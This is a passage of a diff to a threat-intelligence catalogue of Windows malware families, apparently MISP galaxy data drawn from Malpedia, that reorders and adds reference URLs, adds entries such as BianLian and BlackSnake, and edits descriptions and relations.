"https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d2fd10ba-5904-4679-8758-509b72b1aa2c", + "value": "BEATDROP" + }, + { + "description": "Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep", + "https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html", + "https://blog.talosintelligence.com/bedep-actor/", + "http://malware-traffic-analysis.net/2016/05/09/index.html", + "https://web.archive.org/web/20150524032716/http://asert.arbornetworks.com/bedeps-dga-trading-foreign-exchange-for-malware-domains/", + "https://malware.dontneedcoffee.com/2016/04/bedepantiVM.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "066f8ad3-0c99-43eb-990c-8fae2c232f62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "af338ac2-8103-4419-8393-fb4f3b43af4b", "value": "Bedep" }, @@ -14220,18 +15108,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", "http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html", - "https://www.cybereason.com/blog/betabot-banking-trojan-neurevt", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html", "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39", - "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", + "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en", "http://www.xylibox.com/2015/04/betabot-retrospective.html", - "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/" + "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.cybereason.com/blog/betabot-banking-trojan-neurevt", + "https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html", + "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39" ], "synonyms": [ "Neurevt" @@ -14271,9 +15159,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt", - "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger", + "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/", "https://www.bitdefender.com/files/News/CaseStudies/study/411/Bitdefender-PR-Whitepaper-CyberWallet-creat5874-en-EN.pdf", - "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/" + "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger" ], "synonyms": [], "type": [] @@ -14281,13 +15169,30 @@ "uuid": "ae3fe9fa-0717-413e-94fe-6e7b607e45c6", "value": "BHunt" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bianlian", + "https://twitter.com/malwrhunterteam/status/1558548947584548865", + "https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://blogs.blackberry.com/en/2022/10/bianlian-ransomware-encrypts-files-in-the-blink-of-an-eye", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcc016ad-41a0-4bda-ad88-9542b5f560d9", + "value": "BianLian (Windows)" + }, { "description": "Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows sytem processes and kills shadow copies.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware", - "http://zirconic.net/2018/07/bi_d-ransomware/", - "http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/" + "http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/", + "http://zirconic.net/2018/07/bi_d-ransomware/" ], "synonyms": [], "type": [] @@ -14314,13 +15219,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates", - "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", + "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf", "https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server", - "https://habrahabr.ru/post/213973/", - "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", "https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html", - "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf" + "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", + "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/", + "https://habrahabr.ru/post/213973/", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/" ], "synonyms": [], "type": [] @@ -14348,9 +15253,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata", "https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/", - "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" ], "synonyms": [], "type": [] @@ -14376,8 +15281,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biopass", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html" + "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" ], "synonyms": [], "type": [] @@ -14397,15 +15302,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f98b4092-5f32-407c-9015-2da787d70c64", "value": "Biscuit" }, @@ -14414,11 +15310,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045a", - "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", "https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/", - "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/" + "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", + "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045a", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" ], "synonyms": [], "type": [] @@ -14432,8 +15328,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock", "https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/", - "https://twitter.com/malwrhunterteam/status/1215252402988822529", - "https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview" + "https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview", + "https://twitter.com/malwrhunterteam/status/1215252402988822529" ], "synonyms": [], "type": [] @@ -14464,10 +15360,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat", "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan" ], "synonyms": [], @@ -14481,30 +15377,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat", - "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", - "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", - "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", - "https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://community.riskiq.com/article/ade260c6", - "https://www.youtube.com/watch?v=CYm3g4zkQdw", + "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", - "https://asec.ahnlab.com/en/32781/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", "https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat", - "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://community.riskiq.com/article/ade260c6", "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html" + "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", + "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", + "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", + "https://asec.ahnlab.com/en/32781/", + "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", + "https://www.youtube.com/watch?v=CYm3g4zkQdw", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://blog.qualys.com/vulnerabilities-threat-research/2023/01/03/bitrat-now-sharing-sensitive-bank-data-as-a-lure", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] @@ -14513,7 +15410,7 @@ "value": "BitRAT" }, { - "description": "", + "description": "Kaspersky Labs characterizes Bizarro as yet another banking Trojan family originating from Brazil that is now found in other regions of the world. They have seen users being targeted in Spain, Portugal, France and Italy. Attempts have now been made to steal credentials from customers of 70 banks from different European and South American countries. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bizarro", @@ -14545,23 +15442,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware", - "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", - "https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/", "https://gbhackers.com/black-basta-ransomware/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://securelist.com/luna-black-basta-ransomware/106950", - "https://securityscorecard.pathfactory.com/all/a-deep-dive-into-bla", - "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", - "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html", - "https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/", - "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", - "https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://securelist.com/luna-black-basta-ransomware/106950", "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", - "https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware" + "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware", + "https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware", + "https://www.reliaquest.com/blog/qbot-black-basta-ransomware/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/", + "https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies", + "https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware", + "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/", + "https://www.zscaler.com/blogs/security-research/back-black-basta", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html", + "https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta", + "https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", + "https://securityscorecard.pathfactory.com/all/a-deep-dive-into-bla", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/" ], "synonyms": [ "no_name_software" @@ -14569,31 +15477,33 @@ "type": [] }, "uuid": "ada47367-7e69-4122-b5c1-4e5aeb54f922", - "value": "Black Basta" + "value": "Black Basta (Windows)" }, { "description": "Ransomware. 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"https://redcanary.com/blog/blackbyte-ransomware/" + "https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure", + "https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups" ], "synonyms": [], "type": [] @@ -14606,46 +15516,57 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat", - "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", - "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/", - 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"https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", - "https://github.com/f0wl/blackCatConf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack", "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://unit42.paloaltonetworks.com/blackcat-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://community.riskiq.com/article/47766fbd", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", + "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://securityscorecard.com/blog/ttps-associated-with-new-version-of-blackcat-ransomware", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware", + "https://blog.group-ib.com/blackcat", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://killingthebear.jorgetesta.tech/actors/alphv", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", + "https://github.com/f0wl/blackCatConf", + "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" ], "synonyms": [ "ALPHV", @@ -14661,19 +15582,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee", - "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://intrusiontruth.wordpress.com/2019/07/24/apt17-is-run-by-the-jinan-bureau-of-the-chinese-ministry-of-state-security/", - "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", - "https://www.youtube.com/watch?v=NFJqD-LcpIg", - "https://attack.mitre.org/groups/G0001/", - "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://attack.mitre.org/software/S0069/", "https://attack.mitre.org/groups/G0096", - "http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://attack.mitre.org/groups/G0025/" + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.youtube.com/watch?v=NFJqD-LcpIg", + "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1", + "http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "https://attack.mitre.org/software/S0069/", + "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://attack.mitre.org/groups/G0025/", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" ], "synonyms": [ "PNGRAT", @@ -14690,43 +15611,36 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy", - 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"https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/" ], "synonyms": [ "Kaptoxa", @@ -14900,9 +15843,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote", + "https://news.sophos.com/en-us/2020/05/14/raticate/", "https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", - "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", - "https://news.sophos.com/en-us/2020/05/14/raticate/" + "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/" ], "synonyms": [ "BlackRAT" @@ -14945,8 +15888,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackruby", - "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/", - "https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware" + "https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware", + "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/" ], "synonyms": [], "type": [] @@ -14959,27 +15902,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/", - "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/", + "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", "https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/", - "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html" + "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/", + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "8c3202d5-1671-46ec-9d42-cb50dbe2f667", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "0fb57d46-1c4f-49a3-80c2-05bcaa34ec1b", "value": "BlackShades" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksnake", + "https://blog.cyble.com/2023/03/09/blacksnake-ransomware-emerges-from-chaos-ransomwares-shadow/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "366fe903-5ab4-47d3-a0e0-8ff45b2b4a8c", + "value": "BlackSnake" + }, { "description": "", "meta": { @@ -14998,8 +15945,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackworm_rat", - "https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html", "https://github.com/BlackHacker511/BlackWorm", + "https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html", "https://www.fidelissecurity.com/threatgeek/archive/down-h-w0rm-hole-houdinis-rat/" ], "synonyms": [], @@ -15026,13 +15973,15 @@ "meta": { "refs": [ 